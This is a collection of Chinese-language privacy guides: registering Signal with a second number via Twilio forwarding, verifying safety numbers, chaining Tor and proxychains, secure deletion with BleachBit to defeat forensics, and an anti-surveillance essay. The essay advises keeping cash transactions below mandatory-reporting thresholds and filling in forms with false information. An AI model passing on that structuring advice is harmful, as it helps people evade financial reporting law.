如果攻击者控制了您的电话号码，就像他们控制 Mckesson 那样，他们也可以接管您的 Signal 帐户。如果有人对您的朋友这样做，您会在 Signal 中看到“安全号码已更改”的警告。如果你忽略了这个警告并发送信息，你实际上是正在给攻击者发短信。你可以验证安全号码以确认你的 Signal 应用程序正在加密消息给你朋友的手机，而不是攻击者的电话（其方法最后介绍）

如何获取第二个电话号码

当您第一次打开 Signal 应用程序并输入您的电话号码时，会发生以下情况：

- Signal 服务会向您的电话号码发送带有验证码的短信。如果您可以收到该消息或应用程序可以直接接收该消息，并且消息包含正确的代码，则会成功注册该帐户。
- 如果您无法收到验证消息，Signal 会尝试呼叫您的电话号码。当您接听时，机器人语音会告诉您验证码，您可以将其输入到应用程序中。

您的电话号码仅用于识别您的 Signal 帐户（基本上是您的用户名），并且您的电话公司无法访问有关 Signal 中发生的任何信息。

这意味着，只要您可以访问接听语音呼叫的电话号码（如固定电话或 VoIP 号码），您就可以将该电话号码与 Signal 配合使用。

第二个号码可以是：

- 你办公室的座机；
- 一个免费的 Google 语音电话号码，如果你住在美国的话；
- 来自任何在线呼叫服务的任何电话号码，如 Skype；
- 一个便宜的预付费 SIM 卡，每月只需几美元，并暂时将其放在手机上以注册 Signal。不知道中国还有没有不实名的黑卡卖，如果没有，这个方法不太适合中国用户；
- Twilio，一种云服务，允许开发人员编写可以拨打和接听电话和短信的软件。教程没有那么复杂，稍微给点耐心您就可以从 Twilio 购买每月1美元的电话号码以用于 Signal。

保持对此电话号码的控制非常重要。例如，您可以使用一次性 SMS 服务注册 Signal—如果您搜索一下就能发现有许多此类服务—但是，任何人都可以使用这些电话号码这是很危险的。同样，您应该避免使用公用电话号码或您不打算续费的 SIM 卡。如果其他人可以收到此电话号码的短信或电话就麻烦了。

如果您有其他获取永久电话号码的方法，请在评论中和大家交流。

设置 **Twilio**

对于追求廉价的辅助电话号码的人来说，Twilio 是一个很好的选择。访问 twilio.com。在顶部，点击“注册”。

填写您的详细信息，您将被要求验证您的电话号码。 将验证码打入 Twilio 以完成注册。

Twilio 通过订阅支付账单。要获得电话号码，需要支付少量月费来升级帐户。登录 Twilio 后，单击屏幕顶部的“升级”。

要保持您的电话号码有效，填写您的付款信息后，需至少添加 20 美元。

然后点击底部的“购买电话号码”。最后，将 Twilio 号码中的语音或短信转发到您的主要电话上，这样就可以在手机上接收验证消息了。

使用屏幕最左侧的菜单，导航到“所有产品和服务”」“Runtime”」“TwiML Bins”。

单击加号以创建新的“bin”，它将自动转发您的消息并呼叫主号码。用下面的代码段替换当前代码；需要将“您的电话号码”那个部分替换为您要用来接收转发信息的号码。可以参考下面那个动图。

对于短信：

对于语音：

起个名字，可以随便写，比如像动图这样：“my voice forwarding”。（动图：https://cdn-images-1.medium.com/max/1280/1*oWeCly3vyoOK7wM5HxPMEg.gif）

最后，要在手机上接收验证消息，需要激活语音和消息转发。导航到“所有产品和服务”」“电话号码”」“管理号码”」“活动号码”（或单击此处）。

单击您的 Twilio 电话号码。将“A call come in”字段从“Webbook”更改为 “TwiML”，并通过选择适当的 bin 名称（如 “my voice forwarding”）切换到自定义语音转发设置。对消息传递设置执行相同的操作。

还有一件事：在 **Twilio** 中静音

因为每条消息都需要花钱，在您设置了号码并注册 Signal 或其他应用程序之后，在 Twilio 帐户上选择静音是值得的。

要关闭来电和消息，请导航至“管理号码”」“有效号码”（或直接转到此处）。在此页面中，单击您的电话号码以更改设置。从“A call come in”和“A message come in”字段中删除 Web 地址。参考动图：https://cdn-images-1.medium.com/max/1280/1*Fx2VihsOCFAxBqSl_4uYlg.gif

就这样！如果您想接听电话和短信，可以随时重新开启。

为您的第二个 **Signal** 选择一个设备

为了使用第二个电话号码注册 Signal，您将需要一个专用设备—或者至少需要设备上的专用用户帐户。该设备不需要任何电话服务，甚至在技术上也不需要是电话。

如果您是 **Android** 用户，那么您很幸运。Android 在单个设备上支持多个用户帐户。每个用户帐户都有自己的一组应用和应用数据。您可以在设备上专门为第二个 Signal 创建帐户。

不要忘记为新用户设置屏幕锁定！—否则，即使主用户帐户被锁定，对您的手机具有物理访问权限的任何人都可以轻松访问第二个用户的 Signal 消息！

要在手机上切换用户，请向下滚动，然后点按用户图标。

如果您是 **iPhone** 用户，并且您已经将 Signal 与您的私人电话号码一起使用了，那么设置您的公共 Signal 帐户会有点复杂。不幸的是，没有办法在同一部 iPhone 上设置两个独立的 Signal 电话号码。

最简单的方法是找到一个单独的 iOS 或 Android 设备。此设备不需要电话服务或 SIM 卡。它可能是您不再使用的旧 iPhone 或 Android 手机，或 iPad，iPod Touch 或 Android 平板电脑。

您也可以选择仅使用 Signal Desktop，这包括从 iPhone 中删除您的私人 Signal 帐户，设置公共帐户和 Signal Desktop，然后恢复私人帐户，这将向您的联系人发出安全号码已更改的警告。

还可以使用你的计算机注册第二个 Signal 号码，但这需要一些技术基础。您可以使用名为 signal-cli 的命令行工具向 Signal 服务注册您的电话号码，或者您可以在虚拟机中安装 android-x86 并将其用作 Signal 的虚拟 Android 设备。

注册新号码

您已经选择了第二个电话号码和一个设备，现在可以将其注册到 Signal。我在下面的照片中使用了 Android 设备，但 iOS 中的过程是类似的。

在您的第二个 Signal 设备（或 Android 手机的第二个用户）上，首次打开 Signal 应用程序。输入您用作公共 Signal 号码的电话号码（不要输入您的私人电话号码！）

然后，Signal 服务将发送短信到此电话号码。但是由于此设备实际上并未与此电话号码相关联，因此发送失败。至少在 Android 上，你必须等整整两分钟才能失败。（如果您使用的是 iOS 并且能够通过短信接收验证码，例如在 Google 语音应用中，请将代码输入）

现在短信验证失败了，您可以选择进行语音验证。确保您能够接听。如果这是固定电话，请立正，站在电话旁边; 如果这是 Google 语音号码，请确保您已在浏览器标签中打开了 Google 语音，或正确配置了 Google 语音等。

如果一切顺利，您的新电话号码将在 Signal 服务中注册成功。

就是这样！此设备现在可以接收第二个 Signal 的消息。您可以通过此电话号码告诉所有可以与您联系的人，并且短信将最终转到此设备。

使用安全号验证加密是否受到攻击

中间人攻击是针对双方的—例如小红和小明—他们认为自己是在和对方说话，然而事实上两个人正在与同一个攻击者说话，攻击者正在连接这两个人，沿途监视着一切。为了保护您的通信安全，您必须采取额外的步骤以验证您是直接加密给您的朋友而不是冒充者。

您和您的每个 Signal 联系人共享一个唯一的“安全号码”。例如，小红和小明之间有一个安全号码，但小红与小白之间有着不同的安全号码。当小红将她在手机上看到的安全号码与小明看到的号码进行比较时，如果号码相同，则表示加密是安全的。如果数字不同，那就错了：也许小红在她和攻击者之间看到了一个安全号码，或者小明看到他和攻击者之间的安全号码，这就是他们不匹配的原因。

因为第一次向联系人发送消息时，任何人都不太可能试图攻击您的加密，因此 Signal 会自动信任它让每个联系人看到的第一个安全号码。（如果你希望讨论任何敏感话题的话，你可能还是需要确认一下）。

要验证加密是否安全，请先导航到验证屏幕：

- 打开 Signal 应用程序并点按对话以打开它。
- 点击屏幕顶部的联系人姓名。
- 点按“验证安全号码”。

左：*iPhone*。右：*Android*

亲自验证联系人

如果您能亲自见面，其中一个人只需要扫描对方的二维码即可。Android 用户点击 QR 码圈进行扫描，iPhone 用户点击底部的“扫描码”相机图标进行扫描。将相机对准朋友的二维码进行扫描，如果成功，则说明加密是安全的。

远程验证联系人

多数时候无法见面，但您仍然可以验证您的安全号码是否匹配—只是这个有点累。

您需要使用某些其他安全的通信渠道共享您在联系人中看到的安全号码—也就是说，不要在 Signal 消息中共享它。

一旦您的联系人获得您的安全号码，他们就需要导航到验证屏幕并逐位比较您发送的内容与他们看到的内容。如果匹配，您的对话就是安全的。

对于 Android 和 iPhone，您可以点击验证屏幕右上角的共享图标，以使用其他应用分享您的安全号码，或将其复制到剪贴板中。

有时，您可能会在 Signal 对话中看到“安全号码已更改”的警告。点按即可验证。“ 这只能代表出现了以下两种情况之一：

- 您的联系人切换到了 Signal 的更新，也可能是因为他们购买了新手机，或者，
- 攻击者正在尝试将自己插入到您的 Signal 对话中。

完全排除后者的可能性的唯一方法是再次通过上述验证过程之一。

隐藏 **IP** 地址

当您在 Signal 拨打语音或视频电话时，您呼叫的对方可以查看您的 IP 地址，这可用于了解您的位置。但它无疑是个隐私暴露。

这里有一项功能允许您通过其服务器中继您的呼叫，以便呼叫另一端的人只能看到 Signal 服务器的 IP 地址，而不是您的真实 IP 地址。如果启用它，连接速度会稍微下降，会降低通话质量。但是更安全。以下是如何启用它：

如果您使用的是 Android：

- 打开 Signal 应用程序，点击右上角的菜单图标，然后选择“设置”。
- 转到“高级”，然后启用“始终中继呼叫”。

如果你在 iPhone 上：

- 打开 Signal 应用程序，然后单击左上角的齿轮图标以进入 Signal 的设置。
- 转到隐私，然后启用“始终中继呼叫”。

好啦就是这么简单。你知道的，我们更支持 Tox/Cryptoact/Jitsi 等，但是 Signal 显然更大众，希望这篇文章能帮到您。

原文

AS31 你很重要 - iyouport

护盾（AS）

【2019年5月29日存档】有些活动家表示，”既然不安全，干脆不适用任何电子设备就行啦”。并不是这个道理。如果你封锁了所有敌人获取情报的渠道，你也就封锁了自己欺瞒他们的能力。并且更重要的是，安全是一个系统性的工程，而不是某个人自己的使用习惯……

监控既是技术问题、又是法律问题和经济体制问题，对用户而言，技术上的解决方案通常都很有效。我们可以通过各种各样的匿名和加密技术保护自己的资料和身份信息。大多数时候可以实现保护，虽然有些时候会被越来越凶残的当权者所阻挠。于是在技术防身的同时，在政治上还要打一仗。

关键是，政治能够削弱技术，但同时技术也能削弱政治。没有哪一方能战胜另一方。如果我们想解决问题，就需要在技术和政治的前线不断战斗。这不仅仅是技术工程师和政治家的战斗，而是全体普通民众都应该上阵的战斗，因为每个人都可以作出贡献。

法律教授 Eben Moglen 曾写道，“如果我没有犯任何错误，那我们就有权利做所有可以维持在我们和正在窃听的当权者之间的传统平衡，我们有权利变得默默无闻，有权利说悄悄话，有权利讲他们不懂的语言。我们有权利在任何时候以任何方式满足自己”。如果一个警察坐在你谈话所及的范围内，你有权利去另一个地方交谈。如果政府的间谍机构将一辆布满监视器的货车停在你家门口，拉上窗帘对你来说就是天经地义的。

同样，我们每个人都可以通过许多方法来保护自己的信息，防止被监控，这是普通人能做的做好的事。

你可以坚持使用现金购买，而不是信用卡甚至任何一种在线支付；你可以故意更改行车路线来躲避交通摄像头；你可以避免下载任何一种集中化的应用程序、避免在社交网络上暴露包括您的脸部在内的所有

个人身份识别性信息。你可以避免使用谷歌日历或网页邮件，使用不储存浏览历史记录的duckduckgo进行搜索。如果你觉得全部做到我们推荐的《安全工具箱》中的内容“太麻烦”，至少你可以不携带手机出门，这是一种极为简单的避免被追踪的方法。更重要的是，当你前往敏感的地点和会见敏感的人时，切勿携带自己的电子设备。你可以临时租用一台电脑和使用一次性预付费手机。

你可以刻意避开算法的操纵，避免激活自动化监视系统；例如你可以在金融机构必须上报的阈值之下进行现金交易。你可以减少通过邮件对某些特定话题的讨论，你可以告诉那些希望和你交流某些特定话题的朋友，“我只使用wire/signal”。在越来越多的国家，自动化监控已经非常普遍，人们有时会将特定的话题写在纸上，然后拍成照片放到互联网上传递信息。这对目标性监控一点帮助都没有，然而对自动化监控系统来说难度要大得多了。隐写术也是一种相似的防备技术。

有些东西无法加密，比如部分元数据，即使你可以加密邮件本身的内容，但发件人和收件人的地址必然是非加密的，这样才能传递消息；同理，也许你的手机能加密你的语音对话，但是你拨打的号码、你所在的位置、以及你的手机ID都是非加密的。再有，你在使用计算机时，加密不起作用，犯罪分子和政府骇客依旧有可能攻击你。

但是，再次重申，这些都属于目标性监控，而不是大规模监控。你要做的第一步就是，不要让自己成为那个*目标*。一旦成为了目标，也没关系，你可以通过衡量你的敌手的能力，来采取针对性的防御办法，即 安全的基础工程：威胁建模。

还有很多低技术含量的做法都可以帮你屏蔽监控。比如关掉手机定位，对软件的选择尽可能作出明智的决定，和开源技术社区联合的方法是最支持的。你还可以控制自己在任何公开网站上发布的任何信息，去除所有可识别性信息。不论是图片还是文字。

有些时候屏蔽监控可以非常简单，在你的所有电子设备的摄像头位置贴上一个黑胶带就可以了，避免被远程监视者入侵并窥视你。你还可以省去信封上的回信地址，防止邮递公司从中获得关于你的资料。在德黑兰，人们雇佣其他人跟在自己的车尾后面，帮助遮挡车牌，避开自动扫描器的监控。有些时候你甚至可以简单的直接拒绝监控，比如拒绝填写那些会泄漏个人信息的表格，包括优惠卡、会员卡等等，拒绝向店员提供手机号码。

但监视者越来越狡猾，有些反监控方法现在被认为是非法，比如遮挡车牌；最近在美国，有学生因为进入人脸识别监视区时遮住了部分脸

部而被捕。于是我们需要更有效的可以欺骗监视器的方法，而不是简单的遮蔽，并且欺骗方法不能看起来怪异，比如奇怪的化妆术，即便可以欺骗机器，也很难绕过身边的警察。

但至少你能做到切断在线和线下的身份联系，尽可能做到在线匿名是非常有帮助的，因为让我们成为监视重点目标的可能性往往在线上，而不是现实中。

事实上，只要你有心保护自己，就能想到无数种方法可以避免或缓解监视的威胁。2008年出版的 Cory Doctorow 的《Little Brother》一书中，主人公将石子放在鞋子里，以改变自己的走路方式，欺骗步态识别监控。

只要世界上有隐私增强技术来维持我们的生活，我们用的越多，这些技术就能越安全。这和信封的道理是相同的。如果每个人都默认使用明信片，那么少数使用信封的人就会被怀疑，那些希望保护自己的信件内容的人就会变得很麻烦。这就是为什么我们说，隐私不是一个人能实现的事，它不仅需要团队内部的共同努力和统一卫生标准，也需要更多大众一起努力，才能改变监视环境。Tor就是这个原理，需要大量用户来隐藏每个人的身份。

你可以随意搜索名字和内容，而不是只搜索自己想要的内容，我知道很多人已经开始这样做了，虽然顶多是部分解决方案。因为数据分析是信噪比的问题，增加随机的噪音能让分析更加困难。

请记住在填写网上表格的时候只使用虚假信息，我们介绍过如何弄一整套虚假身份信息，让自己变成任何国家的人。20年前美国人就开始这样玩了，电器公司经常需要客户填写身份信息表格，一开始人们拒绝，后来发现拒绝的后果会很麻烦，于是，出现了成千上万的“马里兰州哥伦比亚萨维奇路9800号，邮箱20755”的地址填写—— 这是美国国家安全局的地址。也有人填写的是“华盛顿特区宾夕法尼亚大道1600号”—— 这是白宫地址。

这些不仅是好玩，而且非常有用。有些活动家告诉我，“干脆不用任何电子设备就行啦”。不一定。讲一个关于一群激进分子在摩洛哥的故事。他们当中没有带手机的人被秘密警察贴身跟踪，并且间或被施加暴力；而那些带了手机的人，就能在他们想要隐蔽自己行踪的时候把手机放在家里。一般来说，如果你封锁了所有敌人获取情报的渠道，你也就封锁了自己欺瞒他们的能力。

有些措施实施起来会比其他措施更加困难，而我们其中有些人更有能

力可以比其他人做得更多。很多反监视工作都需要社交、时间以及金钱上的花费，更不用提恒定偏执的心理负担了（constant paranoia）。但我们竭尽所能，因为我们知道隐私才是基本自由的保障，我们要行使自己的权利，才能避免被剥夺权利。不要再做愚蠢的网上问卷调查了，除非你知道自己的信息会落在谁的手里。

我们只有让更多的人一起行动起来，才能获得所有人的安全。隐私保护不完全是技术问题，它应该是一场社会运动。

宿命论是变革的天敌。宿命论就像“政府是无所不能的，政客不会有改变的欲望，我们没有办法”；或者“大规模监控覆盖如此广泛，我们不可能抵制它……”等等，这类想法一旦存在，它就会真的变成现实。在那之前它绝不是现实。

虽然这些推断有一定道理，但得出的结论却是错的。电子设备良好的安全性以及普适的加密技术已经足够让大部分监视寸步难行；开业自由软件已经经过20年的努力，全球的隐私维护者一直都在辛苦地工作，为满足所有人的安全需求。现在只需要更多普通公民加入这场战斗，就能取得变革性的胜利。

只要公众的强烈抗议越多，政治就要被迫作出回应；如果在大规模监视被曝光时、在苛刻的实名制政策推出时，人们继续留在微信和Facebook上，监视者就会变得无比强大，变得愈发地肆无忌惮——他们会将人们的沉默解释为允许甚至同意。

我们还没有接近任何一个终点，这就是为什么我们不能放弃，但这辆列车正在朝着彻底反乌托邦的方向极速飞奔，现在我们能做的一切努力目标都是让它及时刹车。

原文

AS32 增强匿名性的简单方法 - iyouport

护盾（AS）

【2020年2月28日存档】不论是在互联网上还是在现实生活中，匿名都是一项基本权利，是最有效的保护措施。

您一定听说过很多保持匿名的技术工具和操作方法，就如IYP在“技术防身”和“附身符” 栏目中所介绍过的诸多工具那样。

本文将继续介绍一种相对简单的匿名保护方法 —— 结合使用 VPN、Tor 和 ProxyChains 来实现更安全的匿名性。

这里将假设您第一次接触相关知识，于是首先讨论下基础内容。

什么是 **VPN**？

VPN 是一种软件，可让您通过加密的隧道连接到 Internet，该隧道通过服务器进行路由。

合格的VPN应该可以隐藏您的IP地址并掩盖您的在线身份，以便隐藏您的所有在线操作。

在这里看到：

- 《选择VPN的思考方式》
- 《如何判断VPN连接是否安全》
- 《什么时候你需要VPN？》

什么是 **Proxychains**？

这是用于GNU / Linux系统的开源软件。

它可以使任何程序通过代理上网， 允许TCP和DNS通过代理隧道， 支持HTTP、 SOCKS4和SOCKS5类型的代理服务器， 并且可配置多个代理。

ProxyChains 通过一个用户定义的代理列表强制连接指定的应用程序， 直接断开接收方和发送方的连接。

什么是 **Tor**？

Tor是一款软件，可让您在互联网上隐藏自己的身份；有助于防御流量分析、并为您提供更高度的隐私。

您可以在这里看到Tor的故事和注意事项：

- 《Tor是怎么来的：当搬石头砸脚遇到“运动死亡”》
- 《反侦察技巧》
- 《当局是怎么抓人的？》
- 《为什么必需使用Tor》
- 《使用Tor的注意事项！》
- 《如何在你的网页浏览器中使用Tor网络？》

基本要求：

- **VPN**
- **Proxychains**
- **Tor**
- **Kali Linux**

现在开始……

这里使用的是 ProtonVPN 作为例子，因此首先需要打开一个 **temp-mail.org** 网站以获取临时邮件地址。

创建临时邮件ID登录后，可从此链接 **protonvpn.com** 下载适用于Windows系统的免费 ProtonVPN。

单击与所需位置的连接。

现在查看IP地址：**Google**」 **whatismyip**

现在，下一步，转到工具栏中的虚拟机，选择 VM」设置 …

点击网络适配器 」 选择 NAT：用于共享主机的IP地址」确定

在虚拟机中

在 Kali Linux 中打开浏览器，然后转到网站 **dnsleaktest.com**

现在我们需要使用 tor 安装和配置 proxychains。

Proxychains 默认安装在 kali linux 中，但是如果没有安装，那么按照下面这样做。

按照命令安装 **Proxychains** 和 **Tor**

```
apt-get install tor proxychains
```

打开终端找到 proxychains 配置文件 执行 **locate proxychains** 命令。

它应该位于 /etc/proxychains.conf 。用于配置 Proxychains：

「图」

使用文本编辑器（例如 leafpad 或 nano）修改配置文件。

在终端中输入以下命令：

```
leafpad /etc/proxychains.conf
```

- 删除 dynamic_chain 之前的 # 号
- 在 strict_chain 之前放置一个 # 号

然后将后面这句话放在最后一行：**socks5 127.0.0.1 9050**

「图」

保存文件」完成。

要启动 Tor 服务，请打开终端并输入：

```
#service tor start
```

如果Tor服务已经启动，则输入：

```
#service tor restart
```

检查 Tor 的状态 输入：

```
service tor status
```

验证配置

可以通过执行以下命令来验证它是否正常工作：

```
proxychains curl icanhazip.com
```

或者

```
proxychains firefox www.dnsleaktest.com
```

结果

Dnsleaktest.com 的结果：

点击 “standard test”：

「图」

对于您想保持匿名的任何命令，请使用以下语法：

```
proxychains [program] [argument]
```

在下面观看视频教程：

就是这样 ~ 注意操作安全！○

原文

AS34 如何彻底删除以抵制任何取证工具？ - iyouport

护盾（AS）

【2020年3月6日存档】可以做到，但是仍有局限性

以下大部分说明仅适用于传统的磁盘驱动器，不适用于现代计算机中标准的固态硬盘（SSD）、USB密钥/ USB拇指驱动器或SD卡/闪存卡。

要想安全地删除SSD、USB闪存驱动器和SD卡是非常困难的！

这是因为这些类型的驱动器使用一种被称为损耗平衡的技术。这里有一些做法介绍；以及这里；对此后面会有更多解释。

您是否知道，当您将计算机上的文件扔到回收站文件夹中并清空回收站时，该文件不会被完全擦除；

计算机通常不“删除”文件；当您将文件移至回收站时，计算机只会使此文件不可见，并允许将来其占用的空间被其他东西覆盖。

因此，可能要花数周、数月、甚至数年的时间，才能覆盖该文件 —— 如果在这期间，您的设备被警察抢走，就麻烦了。

在这种情况发生之前，您认为那个“已删除”的文件仍在磁盘上。它只是正常操作不可见而已。

只需少量工作和正确的工具 —— 尤其是当前流行全球的各种所谓的取证工具 —— 即可检索到那些“已删除”的文件。

- 《数字取证正在泛滥：政府可以从你的手机中提取哪些数据？》

那么，永久删除文件的最佳方法是什么？—— 确保立即将其覆盖。这会使得很难检索到那里曾经写过什么东西。

您的操作系统可能已经具有可以为您执行此操作的软件 —— 该软件可以用乱码来覆盖磁盘上的所有“空”空间，从而保护已删除数据的机密性。

在 Linux 上，我们目前建议使用 BleachBit，这是一种适用于Linux和Windows的开源安全删除工具。

BleachBit 可用于快速，轻松地针对单个文件进行安全删除，或实施定期的安全删除策略。也可以编写自定义文件删除指令。

以下是它的用法介绍。

安装 BleachBit

「图」

使用 **Ubuntu** 安装

您可以在 Ubuntu 上获取 BleachBit。如果已安装，那么现在就打开它。

或者单击屏幕左下方的应用程序按钮，然后使用搜索。

「图」

在搜索栏中输入“软件”，然后单击“ Ubuntu 软件”图标。

默认情况下，不会列出 BleachBit。为了确保它被列出，请通过单击顶部菜单中的 “Ubuntu Software”，然后单击“软件和更新”来启用社区维护的软件包。

在新窗口中，确保选中 “社区维护的免费和开源软件（Universe）”的那个框，然后单击“关闭”和“重新加载”。

如果已经选中，则可以单击“关闭”。

现在就可以搜索了。通过单击窗口右上角的放大镜来使用搜索。

「图」

然后在搜索字段中输入“ BleachBit”。

单击 BleachBit，然后单击“安装”按钮。

Ubuntu 将要求您输入密码以获取许可。输入密码，然后单击身份验证按钮。

Ubuntu 软件中心将安装 BleachBit 并显示一个小的进度条。安装完成后，您将看到“启动”和“删除”按钮。

从终端安装

您也可以使用终端获取 BleachBit。单击屏幕左下方的应用程序按钮，然后使用搜索。

「图」

在搜索字段中键入“ terminal”，然后单击“ Terminal”图标。

键入“ sudo apt-get install bleachbit”，然后按 Enter。

「图」

系统将要求您输入密码以确认您要安装 BleachBit。输入密码，然后按 Enter。

「图」

现在，您将看到 BleachBit 的安装进度，安装完成后，您应该回到开始的命令行。

将 **BleachBit** 添加到侧边栏

「图」

单击屏幕左下方的应用程序按钮，然后使用搜索。

在搜索字段中输入“bleach”，将出现两个选项：BleachBit 和 BleachBit (as root)。

⚠请注意：除非您明确知道自己在做什么时才使用BleachBit(as root)选项，因为如果将其用于删除操作系统所需的文件，则可能会造成无法弥补的危害。

右键单击 BleachBit，然后选择“添加到收藏夹”。

使用 BleachBit

「图」

从屏幕左侧的收藏夹中单击 BleachBit 图标。

BleachBit 主窗口将打开，BleachBit 将为您提供首选项的概述。

建议选中“覆盖文件内容以防止恢复”选项。

点击“关闭”按钮。BleachBit 将检测几个常用安装程序，并为每个程序显示特殊选项。

Using Presets

「图」

一些软件留下了何时以及如何使用它的记录。仅仅用于说明这一普遍问题的两个重要示例是“最近使用的文档”和 Web浏览器历史记录。

跟踪最近编辑的文档的软件会保留您正在使用的文件名的记录，即使这些文件本身已被删除也是如此！

网络浏览器通常会保留有关您最近访问过的网站的详细记录，甚至会保留来自这些网站的页面和图像的缓存副本，以使它们在您下次访问时加载速度更快。但你知道这有多危险《浏览历史记录曝光你的内心全景图：开源调查演示》。

BleachBit 提供了“presets”，可以根据 BleachBit 作者对计算机上倾向于揭示您先前活动的记录的研究，为您删除其中的一些记录。

以下是2个例子，以便您了解它的原理。

选中“系统”旁边的框，请注意，这会标记“系统”类别下的所有复选框。取消其他被选中的框，最终选中以下框：最近的文档列表、和废纸篓。点击“清洁”按钮。

BleachBit 现在将要求您确认。单击删除按钮。

BleachBit 现在将清理某些文件并向您显示进度。

如何安全删除文件夹

「图」

点击“文件”菜单，然后选择 Shred Folders”。

这将打开一个小窗口。选择要粉碎的文件夹。

BleachBit 将要求您确认是否要永久删除所选文件。点击“删除”按钮。

BleachBit 将显示删除的文件。请注意，BleachBit 将删除文件夹中的每个文件，然后删除文件夹。

如何安全删除文件

「图」

单击文件菜单，然后选择粉碎文件。

这将打开一个文件选择窗口。选择要粉碎的文件。

BleachBit 将要求您确认是否要永久删除所选文件。点击“删除”按钮。

BleachBit 具有许多其他功能。其中最有用的一种可能是擦除可用空间。

这将尝试删除所有已删除文件的痕迹。这很重要！

Linux 通常会将已删除文件中的全部或部分数据留在硬盘驱动器上剩余的可用空间中。擦除可用空间将使用随机数据覆盖硬盘驱动器上这些空的部分。

擦除可用空间可能需要很多时间，具体取决于驱动器有多少备用容量。

关于安全删除工具的局限性的警告

「图」

请记住，以上建议仅会删除您正在使用的计算机磁盘上的文件。

它们不会删除在其他地方的所有备份、另一个磁盘或USB驱动器、“时光机”、电子邮件服务器上、所谓的云中、或发送给您的联系人的东西。

此外，文件一旦存储在云端（例如，通过 Dropbox 或其他文件共享服务），通常就无法再永久删除！

而且。不幸的是，安全删除工具还有另一个限制。

即使您遵循上述建议，并且已经删除了文件的所有副本，删除的文件仍有一定痕迹可能会保留在您的计算机上，这不是因为文件本身没有被正确删除，而是，因为某些部分操作系统或某些其他程序故意保留了它们的记录。

发生这种情况的方式有很多，但是两个例子足以说明这种可能性。

在 Windows 或 macOS 上，即使已删除文件，仍会在“最近的文档”菜单中保留对文件名的引用（Office有时甚至会保留包含文件内容的临时文件）。

很难知道如何应对这个问题。可以肯定地说，即使文件已被安全删除，其名称在您的计算机上也可能会继续存在一段时间。

覆盖整个磁盘是100％确保名称消失的唯一方法。

有些人可能会想：“我可以在磁盘上搜索原始数据以查看是否有任何数据副本吗？” 答案是可以也不可以。

搜索磁盘（例如，在 Linux 上使用 grep -ab / dev / 之类的命令）将告诉您数据是否以纯文本形式存在，但不会告诉您某些程序是否已对其进行了压缩或其他编码引用。

文件内容仍被保留的可能性较低，但并非不可能。覆盖整个磁盘并安装新的操作系统是确保100％删除文件记录的唯一方法。

丢弃旧硬件前的安全删除

「图」

如果要扔掉一个硬件或在eBay上出售它，则要首先确保没有人可以从中检索数据。

研究反复发现，计算机所有者通常无法做到这一点 —— ⚠硬盘驱动器经常被转售，其中充斥着高度敏感的信息。

因此，在出售或丢弃计算机之前，请务必先用乱码覆盖其存储介质。

而且，如果您的计算机使用寿命已到，那么在将计算机存放在角落或其他地方之前擦拭硬盘也是很有必要的。

Darik 的 Boot and Nuke 是为此目的而设计的工具，并且有许多关于如何使用它的教程。

某些全盘加密软件具有销毁主密钥的能力，从而使硬盘驱动器的加密内容永久无法破解。

由于密钥仅包含极少量的数据，几乎可以立即销毁，因此这是使用上述软件进行覆盖的一种更快的替代方法，覆盖对于大型驱动器而言可能非常耗时。

但是，⚠仅仅在始终对硬盘驱动器进行了加密的情况下此选项才可行。如果您未提前使用全盘加密，则需要先覆盖整个驱动器，然后再删除它。

丢弃CD或 DVD-ROM

「图」

对于 CD-ROM 或 DVD-ROM，应该使用与处理文件相同的方法 —— 将它们粉碎。

有便宜的切碎机可以使用，除非您可以确认没有任何敏感内容能被找到了，否则切勿扔掉它们。

安全删除固态硬盘（SSD）、USB闪存驱动器和SD卡

「图」

不幸的是，由于SSD，USB闪存驱动器和SD卡的工作方式，很难安全地删除单个文件和可用空间（即使不是不可能的话）。

就保护而言，最好的选择是使用加密。

这样，即使文件仍在磁盘上，对持有该文件并且不能强迫您对其解密

的任何人来说，它至少看起来都是一堆不知所云的东西。

如上所述，SSD和USB闪存驱动器使用一种称为损耗平衡的技术。在较高级别，损耗平衡的工作原理如下。

每个磁盘上的空间都分为多个区，类似于书籍的页。将文件写入磁盘后，它会分配给某个区或一组区。如果要覆盖文件，那么您要做的就是告诉磁盘覆盖这些区。

但是在SSD和USB驱动器中，擦除和重写相同的区可能会使它磨损。

每个区只能擦除并重写有限的次数，然后该区就不再起作用（这就像如果您继续用铅笔在纸上书写和擦除，最终这张纸可能会破掉不可再用）。

为了解决这个问题，SSD和USB驱动器将尝试确保每个区被擦除和重写的次数大致相同，以便使其尽可能长时间可用。

副作用是，驱动器有时不会删除和写入最初存储文件的区，而是将其留为单独的区，将其标记为无效，然后将修改后的文件写入另一个区。这有点像使书中的页面保持不变，将修改后的文字写入其他页面，然后仅更新书的目录以指向新页面。

这意味着，即使您尝试覆盖文件，也可能无法保证驱动器是否真的会覆盖它，这就是为什么对**SSD**进行安全删除要困难得多的原因。

如果您不知道该怎么做，那就尽可能不要将重要的资料放在SSD设备和USB上，否则警察擅长的取证工具有可能对你非常不利。〇

原文

AS35 摆脱追踪者：您的行动必须是匿名的，否则没有可持续性 - iyouport

护盾（AS）

【2020年3月20日存档】这里是一些基础知识。易于追踪监视是这个互联网的本性，如果您想使用这个互联网做点正经事，就必须能实现足够程度的匿名

与现实中的调查不同，开源情报调查必须是匿名的，必须尽可能不留下数字足迹和面包屑，否则目标人在日后会反过来跟踪你，不仅阻止您的调查，甚至会对您的基本人身安全产生威胁。

掌握摆脱跟踪的安全防护技巧，是成为公民调查员的最基础的一步。

- 《不再吃瓜：把你的"围观"变成利器—公民调查指南（1）》

此前曾经介绍过很多安全防护知识，本文将介绍的是基础知识 —— 关于可用于追踪您的各种在线技术，并提出了在进行开源情报收集操作时应采取的针对性防护对策。

请注意：所有安全知识都不仅仅是给调查人员的。而是所有人的、任何不希望成为猎物的尊重自身人权利益的公民。

有很多不同的参与者对跟踪互联网用户感兴趣，每个参与者都有自己的动机。

最基本的，例如，广告商越来越多地监视人们的在线行为，以定制广告定位他们的目标，这种类型的跟踪被称为在线行为广告（OBA），就是它在一定程度上推动了社交网站的爆炸式增长，所有这些站点时刻都在努力跟踪您的一举一动 ——“免费注册，快来玩啊～”

如今最火的是所谓的网络分析服务（例如 剑桥分析公司）跟踪在线用户以收集可以用于操纵人们的信息；而政府的间谍机构则大规模跟踪在线用户，以分析全球数字信息并预测未来的政治、军事和经济变化。

- 在这里看到调查报告《心理操纵的秘密：”行为经济学”＋PR＝？》
- 这个报告特别重要！《他们是如何抓捕说真话的人？⚠灾难和教训》

